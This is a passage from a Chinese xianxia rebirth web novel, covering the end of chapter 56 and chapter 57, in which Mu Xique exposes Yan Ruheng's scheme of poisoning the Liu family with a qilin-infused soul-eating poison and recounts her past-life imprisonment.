一旁的燕家弟子赶忙搀扶。 “少主!” 燕如珩推开他, 捂住嘴咳嗽几声, 拖着重伤的身子走进燕家主宅, 他并未回自己的住处, 而是边咳嗽边往主宅深处走。 燕家家主因长子亡故,哀思过度,从此闭门不出, 多么合适的理由。 这一个传遍十三州的说辞,也瞒过了燕家千千万万的弟子, 谁都不知竹林尽头那一座寂静的宅院, 困住了自家家主这么多年。 燕如珩在走到门口之时,佝偻的脊背反而挺直了, 就像是憋着一口气,慢条斯理擦去唇上的血,推门而入。 层层禁制圈在这座宅院周围, 正对大门的屋子房门大开,一人盘腿坐在蒲团之上,背对着他,身形瘦削,唯有那身镶金白衣可以透露他的身份。 燕家家主,燕琅。 “还供呢?” 燕如珩笑了笑,抬步走进去,看向燕琅身前的供桌上摆放的一尊神像,鹿身马足,头长独角,周身遍布鳞甲,那是赤敛玉灵,麒麟。 燕如珩站至燕琅身侧,看着那尊麒麟神像,明明在笑,却又更显阴沉。 “麒麟,不是祥瑞吗,不是传言是太平吉祥的象征吗,你供了它那么多年,我们燕家可有太平呢?” 燕琅始终未曾理会他,只闭目打坐,整日对着这尊神像供奉。 燕如珩屈膝半蹲,冷眼看他:“你有三子四女,你的三个女儿皆都嫁了人,幺妹前年死去,如今你的三子也死了两个,这燕家能抗事的只剩我了。” 燕琅的睫毛抖了抖,慢慢睁开眼。 燕如珩倒是笑了:“你总不肯看我,明明都是你生的,他燕之桉论天资、论学识哪里比得过我,你却要将我藏起来,少主之位给他,你瞎了吗老头?” 燕琅看向他,目无表情。 燕如珩生得很像他母亲,长得分外出尘。 世人都说燕家长子是燕之桉,燕家夫人生了长子和两个女儿,在生二女后落下病根,鲜少出门露面,几年后燕家又宣布得了个二子,取名如珩。 没多久,燕家夫人便亡故了,只留下两个儿子和两个女儿。 又过了几年,燕琅又娶了一妻,生下燕青来和三女、四女,但续弦在几年前也亡故。 十三州几乎无人知晓燕如珩并非先夫人所生,也不是二十岁,他今年已有二十四岁,是燕琅那位青梅,药谷大小姐所生。 燕琅叹息一声:“当年我在药谷养伤之际因情毒失了神智,与你阿娘逾矩,有愧于我夫人,也有愧于你阿娘,我弥金补错,将我毕生钱财全数给了药谷,你外祖父打断了我两条腿,你娘遵循你外祖母遗愿嫁于旁人,我也并不知她有孕在身。” 燕如珩冷眼看着他,一言不发。 “后来你娘病重,便书信将你托付给我,彼时你四岁,阿迎并未在意你并非她的孩子,对外宣称你是她新得来的二子,你的长兄和两个姐姐都未在乎,拿你当亲兄弟看,可你——” 可燕如珩做了什么? 他先是设计让燕家夫人外出除邪,死于斗乱。 又设计让燕家长子燕之桉上了灵舟,死于祟难。 后来让两个姐姐联姻十三州遥远的世家,再难回赤敛。 这些事燕琅都不知晓,也实在难想到,一个当时只有几岁的孩子能有这般心机。 直到燕琅娶的第二任妻子死于毒杀,而他本人也被废了修为囚禁起来,燕琅终于明白,燕家这些年的明争暗斗不是出自于那些长老,而是他这个用心栽培的孩子。 燕如珩掩嘴咳嗽几声,越是咳得狠,越是笑得大声。 他站起身,看向供台上的那尊麒麟神像。 “它不肯认我?”燕如珩眸光微敛,擦去唇角的血迹,“不肯认我,那就去死吧。” 燕琅瞳眸微颤,而燕如珩已经抬步往外走,大步匆匆。 燕琅追出门,却又被禁制拦住,只能大喊:“谋戮玉灵,是一定会遭业报的!” 燕如珩面无表情,头也不回,走出大门摔上那两页木门,禁制再次囚禁了他所谓的父亲。 他顶着月色往外走,燕家主宅后便是座山,麒麟便居于其中,燕如珩曾拿着燕琅的家主玉牌去让麒麟更改契约人,可那只玉灵却从未回应过他,摆明了不肯。 契约人还是燕琅,燕琅便不能死。 燕如珩冷脸朝外走,屏退所有人,似乎心情不好,也并未回自己的住处,而是出了燕家主宅,去往那座寂静的山。 浓密林影也遮住了不远不近跟着他的人影,随泱悄无声息,踩在枯叶之上竟无半分生息。 化神境的修士想跟上一个元婴满境的修士并不难,何况就如慕夕阙说的那样。 燕如珩从燕家出来后往往心情不好,会屏退所有人,且赤敛的玉灵近些年虚弱不少,拦不住随泱,是他跟上的最好时机。 虽不知为何慕夕阙对燕如珩这般了解,随泱只当她似乎总有些先知的能力,能预估危险般。 而燕如珩彻底进了山,随泱也紧随其后- 随泱一去便是两日。 闻惊遥自那日短暂清醒后,没多久便再次昏了过去,一睡整整两日,这些天来他的院里始终有医修昼夜不停地守着,庄漪禾也没空去管燕青来的事情。 这事情自然便落到了慕家头上,慕夕阙直接揽了过来,名正言顺不去看闻惊遥,只说自己在忙。 “整日说自己忙忙忙,阿娘已生气了。”慕从晚走进凉亭内,见慕夕阙靠在竹榻上优哉游哉吃糕点。 见她来,慕夕阙将糕点搁置,拍拍身侧的竹榻:“坐。” 慕从晚放下食盒,坐在她身旁,看她还斜躺着,默了默,问道:“你与闻少主闹矛盾了,是吗?” 慕夕阙眉梢微扬:“这么明显啊。” “你们之前便有嫌隙,我能看出来。”慕从晚看着她说道,“我听说闻少主此番伤势格外严重,心境大跌,若让鹤阶知晓,必要有所动作。” “无事,安心。”慕夕阙淡淡回道。 见她不想回答,慕从晚便不再多说,看向竹榻旁的书案,上面摞了些近来搜寻的线索,关于燕青来身死一事,以及十三州有关玉灵的书籍。 “看十三州玉灵作甚?每个城池的玉灵,《玉灵录》里都有记载,没必要看这些野书。” 慕夕阙扬声回道:“就只是看看。” 慕从晚拿起来另外几封密信,细细翻看,越看眉头越紧:“如今全是对两家不利的一面,柳家人被救后,柳确却并未翻供,反而还坚持是自己杀了燕青来,而使出流星刃的那个人身份不明,对慕家也不利。” 慕夕阙笑了声,目光落在慕从晚手中的密信上,眸色深沉:“是啊,柳确怎么还不翻供呢?” 慕从晚放下密信,看向慕夕阙:“燕如珩心思深沉,他不会想不到若你们救了柳家人后柳确会翻案,因此定会有所准备,柳确至今不肯翻供,应是与此有关。” 她顿了下,又道:“可暗桩去查了,柳确的亲人挚友如今确实安全,按理说威胁已消失,他不该再帮其顶罪。” 慕夕阙坐起来,见慕从晚柳眉紧拧,不免觉得好笑:“阿姐,你皱眉的时候有些好笑,凶巴巴的。” 她从未说过这些逗她的话,慕从晚一愣,红唇微抿。 “谁说柳确的家人安全了。”慕夕阙看了眼密信,“柳确并非容易被利益驱使之人,他如今不敢翻供,自是威胁还未解除,不求助于慕闻两家,估摸着也是心下认为,我们两家无法替他解决忧患。” 燕如珩的手段可不止这般简单,若非她有前世的记忆,知晓他是个什么样的人,惯用诡计,恐怕也得再栽到他手中。 这都是她上辈子栽的坑。 慕从晚看着她的侧脸,慕夕阙神色阴郁,盯着那呈上的密信,好似在看着一个仇人般,眼神冷冽。 “小夕。”慕从晚唤她。 慕夕阙回神,迅速敛去眸底暗色,笑盈盈道:“你别操心这些事了,好好养身子。” 慕从晚垂眸,忽然叹了一声:“我总觉得你变了。” 慕夕阙佯装不懂:“哪里变了?” “说不清是哪里变了,但就是变了。”慕从晚摇摇头,“你好像忽然长大了。” 慕二小姐的傲气和暴脾气看似还有,实则早已消失得干干净净,如今的慕夕阙就宛如一夜成长,不再跟挚亲置气,不再高傲,反而工于心计,步步谨慎,让人瞧着便觉得靠谱。 慕夕阙翻身下榻,糊弄过去:“你想多了,我只是忽然看明白了慕家如今的局面罢了,你身子不好,便好好休息,这些事有我。” 她顿了下,拉起慕从晚的手,白衣下滑露出一截瘦到骨头突出的手腕。 慕夕阙沉声道:“等燕家此事了解,我们回淞溪,我想办法为你修补灵根。” 慕从晚皱眉,见她还惦记着这件事,抽出手:“我已是凡人之躯,也早已接受。” 慕夕阙看着她:“我有办法,海外仙岛有位医仙,传闻她医术超绝,可以修补断裂的灵根,你并非生来没有灵根,无中生有自是困难,但修补并非毫无办法。” “小夕。”慕从晚站起身,神情严肃,“父亲便是因我而死,若非他前往海外仙岛为我寻一线生机,也不会上了那艘灵舟,这些年我已悔恨不及,你莫要再说这些,不必管我。” 两人对峙,慕从晚沉沉呼出口气,拢了拢略显单薄的外衫。 “你知道很多事情,我不知你从何处得来的,可如今慕家处境岌岌可危,不日十三州便会来逼迫你和闻少主去镇压祭墟,我的事情不必操心,你更应该做的,是守好慕家。” 慕夕阙并未说话。 片刻后,她腰间的玉符亮了瞬,慕从晚率先道:“是阿娘的传信,应是闻少主醒了。” 闻惊遥醒了,慕夕阙这个未婚妻再忙也得去看看,毕竟如今她和闻惊遥虽摊牌了,可两人的身份是慕家少主和闻家少主,代表的是两个家族,面子活还是得做些的。 慕夕阙摊开一看,果然,与慕从晚猜的一样。 ——小夕,惊遥醒了,过来看看。 慕夕阙收起玉符。 慕从晚知道她有事要忙,先行道:“我自己回去吧,膳食你等回来再用,有术法在上面,不会凉的。” 慕夕阙颔首:“好。” 她和慕从晚一同出了画墨阁,却朝着相反的方向走去。 还未到闻惊遥的小院前,便已经瞧见门口守着的十几人,见她来了,朝蕴率先走上前。 生怕慕夕阙脾气上来,她压低声音说道:“惊遥身子骨还虚着,医修说此番醒来后应无性命危险了,但他心境跌得有些狠,你别和他吵架。” 没等慕夕阙回答,朝蕴已经牵着她到了院门前,庄漪禾安静站在那里,脸色略有些苍白,冲慕夕阙颔首。 “小夕,惊遥想见你,你若是来了,我们便先走了。” 慕夕阙牵出得体的笑:“好,夫人慢走。” 这两日他们都守在这里,医修说这是闻惊遥能不能活的关键,看他能否抵得过心境跌落的重创,但事实证明,他确实命大,昏了两日后醒来了。 这两日慕夕阙没来过,她知道朝蕴和庄漪禾的不解,只拿自己要处理燕家一事回绝。 待他们都走后,慕夕阙收起笑,推门而入。 刚关上房门,迎面撞入个高挺的怀抱,扑鼻而来的是浓重苦涩的药味,两日的用药早已遮住闻惊遥身上清淡的雪竹香。 慕夕阙皱眉,刚退后一步,闻惊遥便上前一步,搂住她的腰身,下颌抵在她的肩上,弯腰抱紧她。 “夕阙,你终于来了。”闻惊遥的声音很轻,还带着病气,略显虚弱。 慕夕阙的双臂抵在他的胸膛前,微微用力:“放开。” 闻惊遥却并未退开,仍抱紧她:“我这两日总梦到你,梦到你我幼时的事情,我从未敢忘,小时候我说话太直,你都不生气。” 小时候的闻惊遥是什么模样,慕夕阙都快忘了* ,如今他一提,她倒是有些印象。 少年古板小时候是个小古板,总是绷着一张脸,规规矩矩跟在她身后。 “慕二小姐,勿要上树,勿要骂人。” “慕二小姐,朝家主说你不能出山,请不要靠近山门。” …… 幼时的他总喊“慕二小姐”,礼貌生分,并不亲昵,何时将称呼换成了“夕阙”二字,她早已没了印象。 总之慕夕阙小时候脾气最爆之时,还有些烦闻惊遥,一年见不了多少次,每次见面必要揍他,小古板就老老实实让她揍,揍完还说她最近修为又精进了,他回去后定会好好修行再陪她过招。 闻惊遥自小就谦逊,输了就是输了,没什么不好意思的。 慕夕阙不说话,闻惊遥抱紧她,鼻尖在她脖颈轻蹭,小声说:“夕阙,我好喜欢你。” 闻惊遥能说出这些话,换成过去的慕夕阙,也足以惊骇几日了,他这种打一棍子憋不出一句话的人,怎么会说这种直白亲昵的话? 如今她听了,却心无波澜,推了推他:“起开,我有事要说。” 闻惊遥只能依依不舍放开她,刚一松手,慕夕阙便侧身闪开,怀里陡然一空,他反而有种不安感,伸手想要去抓,却只摸到她滑走的长发。 慕夕阙坐在桌旁,抬眸看他,闻惊遥只穿着身雪白长衫,那是里衣。 不是她的错觉,他确实瘦了些,憔悴不少,但那张脸倒是仍旧好看,他生了一张极俊的脸。 闻惊遥走过来,安安静静坐在她的对侧。 慕夕阙伸出手:“天罡篆。” 闻惊遥也不多问,她要什么就给什么,祭出天罡篆交到她手中。 没有主人的号令,这篆盘便如同个寻常篆盘,只有掌心大小,上面镌刻的八极对应这地面八极,可借地脉之力,令整个十三州撼动。 慕夕阙淡声道:“我需要你帮忙。” 闻惊遥回道:“你想做什么,我都配合。” “过段时日十三州便会来请你我去镇压祭墟,届时大肆使用神力,我慕家玉灵是靠十二辰供给的,十二辰虚弱,金龙便会沉睡,上辈子慕家便是这般灭门的,一万多个人就活了我和我阿姐,但我阿姐五年后也死了。” 慕夕阙说这些话的时候,神情是平静的,连语调都未有波澜,这让闻惊遥都觉得心痛的事情,她好似早已说服自己,对此并无半分异样。 闻惊遥别过头,呼吸抖了几分。 慕夕阙仍垂眸看着天罡篆,沉声道:“徐无咎告诉我天罡篆可以令地崩山摧,但镇压祭墟后,天罡篆应当也会重创,估摸着神力只剩三成,威力大减。” 她抬眸看向闻惊遥:“你可听过十二辰和天罡篆的由来?” 闻惊遥沉默片刻,末了颔首:“嗯。” 慕夕阙道:“十二辰和天罡篆同出于一块阴阳神石,器灵彼此相熟,但认主后器灵被主人的神魂限制,无法自主行事,给与对方援助。可若道侣之间缔结婚契后,神魂上会打入彼此的印记,神器认魂,彼此的神器也会相互承认,届时十二辰可以援助天罡篆,借与它神力。” 闻惊遥看向她,薄唇微抿,搭在膝上的手悄然攥紧。 慕夕阙冷眼看他:“我们得缔结婚契,我会用十二辰仅剩的神力加注在天罡篆上,我有件事要你帮忙。” 闻惊遥问:“为何不用天罡篆加强十二辰,守住淞溪玉灵?” 慕夕阙放下天罡篆,懒洋洋倚靠在椅中:“我可以守住金龙一次,鹤阶就会让祭墟再动荡一次。” 她不仅要守住金龙,还得铲除鹤阶。 闻惊遥知晓她要做什么,他垂眸,看着桌上的天罡篆,她一直都想要这个东西,因此和他虚与委蛇,劝他去夺天罡篆。 她虚情假意为的也不只是一个天罡篆。 “夕阙,你答应这桩婚事,是否料想到会有今日?”闻惊遥的声音很轻,轻到几乎听不清,“你知道我会夺得天罡篆,知道鹤阶的计谋,你也想好了对策,我们的婚事对你而言只是这对策中的一环。” “你觉得呢?”慕夕阙忽然笑了下,“那不然呢,我喜欢你才和你订婚的?” 她怎么可能会喜欢呢? 从一开始她点头答应这桩婚事,便无半分真心。 她明明说要缔结婚契,那是他梦寐以求的婚事,明明应当欢喜,可如今真的到了这一步,他安静下来,却只品出满心的酸涩。 婚契明明应是彼此相爱,在爱的前提下出现,可如今这张婚契对他们来说只是一张纸,他有太多话想说,却又无法为自己辩驳,错的是闻惊遥,被利用也是他应该的。 闻惊遥只能抬眸看她,温声道:“好,我们缔结婚契。” 他站起身,走到她身前,垂眸看向懒懒靠在椅中的慕夕阙,她始终是冷静的,如今不用再伪装后,他仿佛看到了他不知道的那一辈子,慕夕阙是什么模样。 高傲肆意的慕二小姐,活成了冷漠理性的人。 这一切都有他的推力,纵使闻惊遥不知道前世具体的事情,却也知晓自己绝非清白,能让慕夕阙恨他至此,他到底做过什么事情? 闻惊遥俯身,他抱紧她,感知她的温度,她的体香和她的心跳。 她还活着,慕夕阙还活着。 “夕阙,还好。” 慕夕阙听到了一声近乎祈求低喃的话。 她不懂他是什么意思,刚一皱眉,便听到一句更轻的话在耳侧回荡。 “还好重生的是你,还好你还活着。” 慕夕阙恍惚间明白了他的意思。 还好重生的是对闻惊遥满怀恨意的慕夕阙,可以坚定复仇,而不是那个宛如被夺舍了,背叛挚友的十三州圣尊。 还好活着的是慕夕阙。 作者有话说:前面有个宝宝发觉燕如珩的寿数有异常啦[撒花]之前闻沉说燕如珩十岁在灵舟上谋戮长兄,那个是他的真实年龄,十三年前他就是十岁,而小慕那时候才不到四岁,前文写燕如珩大她三岁,在她的视角看来,十三年前燕如珩应该是六岁。 前面没有写错,确实是伏笔,燕如珩寿数是作假了的,现在真实年龄是二十四岁[撒花] 第57章 第 57 章 离弦 一道天光划破黑暗之后, 五日之期已到。 慕夕阙清早起身,盥洗换衣,刚走出殿门, 便瞧见院里正身坐着的少年。 她看了他一眼,没什么表情, 抬步便往外走。 自打和他彻底摊牌后, 也只有朝蕴和庄漪禾在之时,慕夕阙会装装样子,若是两人单独碰面, 她便和从前截然相反,态度冷淡。 闻惊遥的伤势好了许多,他站起身, 跟在她身旁。 “夕阙, 燕家人来了, 就在议事堂。” 慕夕阙应了声:“嗯。” “这两日随前辈不在闻家, 是否是你托他去办事了?”闻惊遥见她态度冷淡, 只顿了瞬,便接着问,“你知道的比我多, 你做的事情一定有你的道理,夕阙, 你如今可以信任我。” 他说到这里, 又觉得自己有何脸面说这些,明明前世背叛她的人是他。 他以为慕夕阙会冷笑嘲讽两声, 可事实上,她毫无表情,像是听到了他的话, 又像是没有听到,更可能的,是无论他说什么,对她来说都无所谓。 慕夕阙并未回他,两人一路走到议事堂,燕如珩一早便来了,几日未见,他的伤瞧着好多了,仍旧是一身金丝镶边的白衣,清俊出尘。 他甚至还带了两位其余宗门的长老,估摸着是要在今日宣告十三州,慕闻两家的罪名。 慕夕阙和闻惊遥坐于燕如珩对侧,仍旧是隔了一条不宽不窄的通路,而如今面前的空地上,摆了几具白布覆盖的尸身,以及跪着的柳确。 “小夕。”燕如珩弯唇一笑,对慕夕阙颔首。 慕夕阙回了个略显敷衍的笑,接着便挪开视线,看着过道中的几具尸身。 庄漪禾高坐主座,并未开口。 燕如珩率先道:“五日已到,不知小夕可有查出什么,能否给我一个确切的答案?” 慕夕阙看着他,问道:“抱歉,并未查出有关燕小公子身上流星刃的线索,我慕家会流星刃的人并不多,能做到这种程度的更是少之又少,且当时都未在东浔主城。” 燕如珩仍端着笑,瞧着并未生气,点了点头道:“你我认识多年,我并不想怀疑慕家,可五日已到,若是慕家无法自证清白,此事我也只能宣告十三州了。” 朝蕴和庄漪禾蹙眉,看向慕夕阙,却并未在她脸上看到半分慌张。 闻惊遥坐在慕夕阙身旁,也同样淡然。 慕夕阙又懒懒靠进椅中,单手搭在扶手上,并未注意自己的胳膊压在了闻惊遥的手背上,少年愣了下,侧首看她。 她直勾勾盯着燕如珩:“柳确用竹影斩杀害燕小公子,此为死罪,前些时日我们去找了柳确的父母兄姐,燕少主猜怎么着?” 燕如珩面不改色:“你说。” 慕夕阙淡声道:“柳家人全被关了,他们不知看守的人是谁,那些人并未穿宗服,我们将他们救下后一直好生看管,结果昨夜柳家人忽然抽搐不止,口吐白沫。” 燕如珩眸光微冷,而跪于殿中的柳确忽然抬头,被关押几日后,瞳仁上遍布血丝,这几日应当都未休息。 他厉声道:“怎么可能?” 见他这副样子,慕夕阙眉梢微扬,饶有兴趣看着他。 柳确明显惊骇,几乎下意识看向燕如珩:“燕少主,你——” 燕如珩淡淡看他一眼,柳确咬牙,硬生生咽回去。 “是吗,难不成是未休息好?”燕如珩笑了下,“还是说小夕的意思是,中毒了?” 慕夕阙单手托腮,竟半分不避讳地点了点头:“是啊,中毒了呀。” 她说这话时,尾音上扬,略有些俏皮。 闻惊遥始终看着她,她好似胸有成竹,半分不惧。 “柳家人神志不清,宛如陷入梦魇般,我探其神识,你猜怎么着,他们的神魂竟然在被啃噬,轻则记忆全无,重则魂消神灭,而这毒,我们请了几十个医修都未有结论。” 燕如珩的脸色彻底冷下。 柳确再也忍不住,倏然站起身冲向燕如珩:“燕如珩,你答应过我若认罪,我爹娘他们的毒便能解!” 燕家弟子横刀上前,景洲和宁筠也赶忙拦住柳确。 双方对峙,柳确怒不可遏,力气竟格外大。 “燕如珩,你该死!” 庄漪禾站起身,厉喝道:“柳确,退下!” 纵使柳确此刻悲怒交加,听见庄漪禾的声音,仍强行唤回理智,他的齿关打颤,涕泗横流,全无闻家弟子的仪态。 柳确恶狠狠看着正身肃坐的燕如珩,最后咬牙,强迫自己又跪了回去。 他面朝庄漪禾跪下,垂首看自己的眼泪一滴滴落在青砖上,逐渐聚成一个个水洼。 燕如珩理了理衣袖,仍旧淡然:“柳确是你们闻家弟子,我又怎知这不是你们串通好的,柳家人当真中毒了吗?” 他抬眸看向慕夕阙:“这毒与我燕家又有何关系,柳确的话又如何能为闻家开脱?” 他看着慕夕阙,面上虽波澜不惊,心底却早已掀起洪涛骇浪。 那毒是他加之诸多毒草仙药炼制出的,整个十三州和海外仙岛都只有一瓶,原是诛灭神魂用的,但他还加入了一枚麒麟的鳞甲,山灵的血肉甲片都有极强的神力,可在一定程度上中和毒性。 于是那瓶毒药的药性被削弱,他下的药量也不多,不至于这般快便毒发,只会慢慢蚕食神魂,最后记忆全无,若彻底毒发前未解毒,才会神魂俱灭。 真毒发了,柳家人怎么可能活到现在? 慕夕阙又如何知晓这毒的? 慕夕阙的眼眸微眯,点点头:“对,柳家人的话也不能全信,这毒素也可能不是燕家下的,不过燕少主猜猜,我们在柳家人的血液里提出了什么?” 燕如珩唇角的笑慢慢淡去,安静看着慕夕阙。 慕夕阙屈起指节,敲了敲桌面,议事堂外走进来几人,还抬着一个昏睡的人。 柳确大声喊道:“兄长!” 被抬进来的人正是柳确的长兄,柳家长子。 “兄长,兄长!” 柳确扑到兄长身旁,柳家长子却双目紧闭,脸色竟泛青色,瞧着已经是进气少出气多的模样,半只脚踏进了鬼门关。 燕如珩搭在扶手上的手悄然攥紧。 确实是毒发的模样,可柳家长子不该毒发这般早的,应当在定了慕闻两家的罪后,柳确伏诛,他才会催动毒发斩草除根。 紧跟而来的是一名医修,他拱手道:“庄夫人,在下在柳家公子的血中觉察出了山灵的气息。” 他快步走到柳家长子身旁,割开他的指腹,挤出一滴发黑的血,而医修抬手结印,将那滴血水托举到虚空中,当着众人的面,他闭目默念术法。 血中竟然浮现出金色的灵印,那点灵力被显灵术剥出,堂内众人皆都亲眼目睹,金色的灵力凝化为一只神兽的模样。 鹿身马足,龙头狮眼,头上生了独角,周身遍布鳞片,它咆哮一声,随后虚化的灵体轰然散去。 山灵的气息太过圣洁强大,即使是一滴血也能凝化为灵体,它们的血可辟邪除晦,它们的灵力一方面来自百姓的供奉,更多的是承接天道的恩赐。 众人怔愣,慕夕阙看向面无表情的燕如珩,笑着问:“我没看错吧,这是赤敛神兽麒麟,麒麟居于山中,只认燕家人,我们慕、闻两家如何有本事接近麒麟,又怎么能近身取出它的血液或者鳞甲?” 但相反,麒麟与契约人定下契约后,会如金龙或者青鸾一般,褪下一枚鳞甲作为信物。 众人看向燕如珩,他阴沉沉盯着慕夕阙,不知在想些什么。 燕如珩请来的两位长老也迟疑了:“少主,这……这毒中有麒麟的灵力,慕闻两家确实难以接触麒麟……” 活到这般岁数,两位长老什么没见过,也都明白了,这毒怕是燕家人下的,而给柳家人下毒,又恰好佐证了柳确的话。 那柳确便不是杀害燕青来的真凶,凶手另有其人,究竟是谁,一目了然。 两位长老对视,叹了口气,手足挚亲都能谋戮,能成大事,果真心狠。 但他们也明白,这是三家的明争暗斗,明哲保身不掺和才对自己好。 庄漪禾走下高台,瞥了眼正恸哭的柳确,只一个眼神,便让柳确止住了眼泪,年岁不大的少年咬牙站起身,赤红的眼狠狠瞪向燕如珩。 庄漪禾侧身看向仍坐着的燕如珩:“世上奇人这般多,如今看来,想必燕家也有叛贼呢,否则这麒麟灵力如何说呢?” 她走近几步,语调微沉:“还是说,燕少主又要怪到我慕、闻两家的头上,我们便有这般能耐,能深入赤敛,靠近麒麟,并且在不惊动燕家的情况下取了麒麟的血或鳞甲?” 燕如珩抬眸看她。 庄漪禾仍端着得体的笑,可那双眼睛里却尽是冷凝,她的态度坚决,绝不退让,说的话听着礼貌,实则他们所有人都能听出来意味深长。 燕如珩的唇角弯起,正要说话,腰间的燕家玉符亮起,他垂眸看去,来信是燕煊,他在燕家的亲信长老。 ——少主,麒麟有异,速归。 燕如珩的脸色彻底沉下,当即起身,而庄漪禾仍堵在他身前,议事堂内几十人皆都看着他。 他笑了下,拱手俯身:“是在下的错,识人不清,我燕家竟出了叛贼,偷盗麒麟信物,为柳家下毒威胁,夫人放心,我定彻查,登门赔礼道歉。” 燕如珩站直身子:“但眼下家里出了些事,晚辈需得尽快赶回,还请夫人见谅。” 庄漪禾漠然不语,余光却看向慕夕阙。 慕夕阙冲她颔首。 庄漪禾意会,回身看向燕如珩:“好,少主既有事便去忙,日后既是一家之主,可不能鼠目寸光,管窥之见,难担大事啊。” 燕如珩浅笑颔首:“是,夫人教训的是。” 他转身匆匆往外走,而燕家弟子抬起燕青来几人的尸身,也跟着疾步离去,燕如珩请来的两位长老一见情形不对,忙起身拱手告别。 不多时,议事堂内只剩慕闻两家的人。 一个闻家长老冷嗤一声:“偷鸡不成蚀把米,竟会用些上不得台面的手段,一看情形不对立刻跑了。” 朝蕴和庄漪禾却神色冷沉,两人心知燕如珩匆忙离去应不是看自己落了下风,以他的诡辩之术不至于这般匆忙承认,应是燕家确实出事,失态紧急到燕如珩需得即刻赶回,连为自己辩驳的机会都放弃了。 闻惊遥自进来便未说话,始终看着慕夕阙,她撑着下颌,应早已觉察出他的目光,却并未看他一眼。 堂内站着的柳确扑通跪地:“夫人,是弟子的错,弟子受人威胁,为虎作伥,构陷闻家,弟子有罪!” 柳确以头碰地,梗声道:“弟子愿抵命,请夫人救我爹娘、兄长和阿姐一命!” 庄漪禾看着他,恨铁不成钢,却又别无他法,拿亲人性命要挟,这世上没几个人能这般心狠不管不顾。 慕夕阙也终于有了动静,起身走来,半蹲在柳家长子身旁,她伸出右手,随着金色的灵力涌入柳家长子的识海中,就宛如能祛毒般,苍青色的肌肤迅速恢复血色。 柳家长子长睫微颤,竟然睁开了眼,见到柳确跪在地上,他茫然喊:“阿确?” 柳确呆呆看过来:“兄长?” 众人惊愕,看向慕夕阙。 慕夕阙收回手,淡声道:“障眼法罢了,他们还未毒发,但不尽快解毒,离毒发最多一月。” 医修拱手道:“夫人,朝家主,昨夜慕二小姐忽然找到在下,要在下今日在堂上割开柳公子的指腹取血,用显灵术,此事越少人知晓越好,因此在下并未提前告知。” 他说到这里也迟疑起来,茫然看向慕夕阙:“在下只是不知,慕二小姐竟然知晓柳家人中的什么毒,我们几十个医修都没查出柳家人中毒了,这毒发的症状也着实诡异。” 柳家长子反应过来发生了什么,见柳确跪在地上怔愣,他一巴掌打在柳确脸侧:“混账!闻家悉心栽培你,你竟然反过来构陷人家!” 柳确跪在地上,失声痛哭:“对不起,对不起兄长,我对不起你们,对不起夫人和家主的栽培。” 庄漪禾别过头叹了口气,摆摆手:“柳确的处罚过会儿再议,先找医师来看看有没有解毒的法子。” 慕夕阙直接道:“你们无法研制解药,知道他往里加了什么毒药吗?” 柳确身子一塌,跌坐在地砖上。 柳家长子脸色白了几分,却并未有过度的恐惧背上,他只是撑着身子站起来,拱手道:“若非闻少主和二小姐,我们怕还困在那牢狱内,如今我阿弟做错事,这或许便是我们柳家人的命,我们不怪任何人,只希望夫人可以留我阿弟一命。” 他顿了顿,看向跌在地上的柳确:“他是个天资很不错的修士,柳家唯一生了灵根的人,心性纯善,来日必能有所成就,扶危济困,救千千万万条性命。” 庄漪禾神色复杂,柳确捂脸痛哭。 慕夕阙站起身朝外走去,闻家议事堂幽暗,只要出了门便是烈日,一明一暗界限清楚,有时她甚至觉得,有些割裂感。 她走出没多久,身后跟上一人,闻惊遥走在她身旁。 “夕阙,燕家出事应是随前辈所为,你如何知晓燕如珩为柳家人下了这种毒?” 不仅知晓,在柳家人生龙活虎,医修们无人能探出中毒迹象,她却能猜出他们就是中了毒,还能猜出这是什么毒,毒里有麒麟的灵力。 慕夕阙脸色沉静,语无波澜:“哦,我前世也中过这毒。” 闻惊遥停下,他站在那里,握剑的手攥紧,手背上青筋遒劲,用力至骨节泛白。 慕夕阙走出几步远,回身看他:“你不知道吧,燕如珩曾为我下了这诡谲的毒,这毒药便是他为我寻的,加入麒麟的鳞甲中和毒性,蚕食我的记忆,直到我彻底失忆,他会将解药喂我服下,我便是燕家从不外出的少主夫人,日后的家主夫人。” 她每说一个字,都像一柄利刃扎在他的心头,将他割得血肉模糊,呼吸间牵动肺腑的疼,而她一个当事人,却用一种极其平淡的语气告知他这些真相。 闻惊遥听到自己哽咽的声音:“后……后来呢……” 慕夕阙淡声道:“我被他囚在燕家,他派了重兵把守,那里有禁制在,我的修为也被封了七八成,他不敢来见我,只等毒素彻底蚕食我的神魂,直到有一日我寻到机会,将他骗来,调动仅剩的两成修为逆冲丹田,用一柄匕首险些割了他的喉咙,只可惜那时神智不清,下手歪了几分。” 逆冲丹田,有九成几率爆体而亡,便是当下不死也定会神魂错乱,神智癫狂,走火入魔。 她赌上这条命,也一定要手刃燕如珩。 慕夕阙在逃出燕家的时候确实已神智全无,可等她再次有意识,她躺在一处密林里,错乱的神智已被拉回,暴涨的丹田也被平息,就连体内的毒都已解。 有人救了她,她不知是谁。 见闻惊遥的手在抖,他低着头,肩膀也在颤抖,慕夕阙觉得有些好笑,如今光是听听都受不了,前世他却能眼睁睁看着她受这些苦楚。 慕夕阙并未再看他,转身朝外走。 她并未回画墨阁,而是出了闻家主宅,疾步往外,一路步履匆匆来到人少开阔的林地,祭出一艘小型灵舟。 刚要上灵舟,慕夕阙敏锐觉察出身后出现的气息,她冷然回眸,看向从林中窜出的两道身影。 迟笙看到她,先是长呼一口气,紧接着又气了起来:“二小姐,我们在闻家主宅外蹲了你五日!整整五日啊,你连门都不出!” 越疏棠瞧着也不如往日整洁,她们两个在主宅外的密林里住了五日,风餐露宿的,也整洁不了。 慕夕阙眉梢一扬,理不直气也壮:“抱歉啊,忘了。” 这辈子她和两人并不认识,越疏棠一向有自己的计谋,慕夕阙以为她早已离开东浔,自行去查了,没想到还在这里蹲着她呢。 越疏棠却一言不发,翻身上了灵舟,迟笙也紧随其后。 慕夕阙并未多言,纵身跃上,催动灵力启航,一艘小巧的灵舟没入云端,冲向云霄。 越疏棠坐在甲板上,看着她去的方向,沉声说:“你要去赤敛?” 慕夕阙坐在她身侧,应道:“嗯。” 迟笙从她身后探出脑袋:“那闻少主知晓吗?” “他会跟上,不必管。”慕夕阙头也不回。 迟笙和越疏棠对视一眼,两人不再说话,心说这两位神器之主八成是闹了别扭,别人的私事,尤其是感情一事,莫要多嘴问。 越疏棠目视前方,迎面吹来的风略凉,她将迟笙催回船舱内,甲板上便只留她和慕夕阙两人。 越疏棠问:“你去赤敛做什么?” 慕夕阙直接道:“杀几个人。” 越疏棠皱眉:“为何要杀人?” 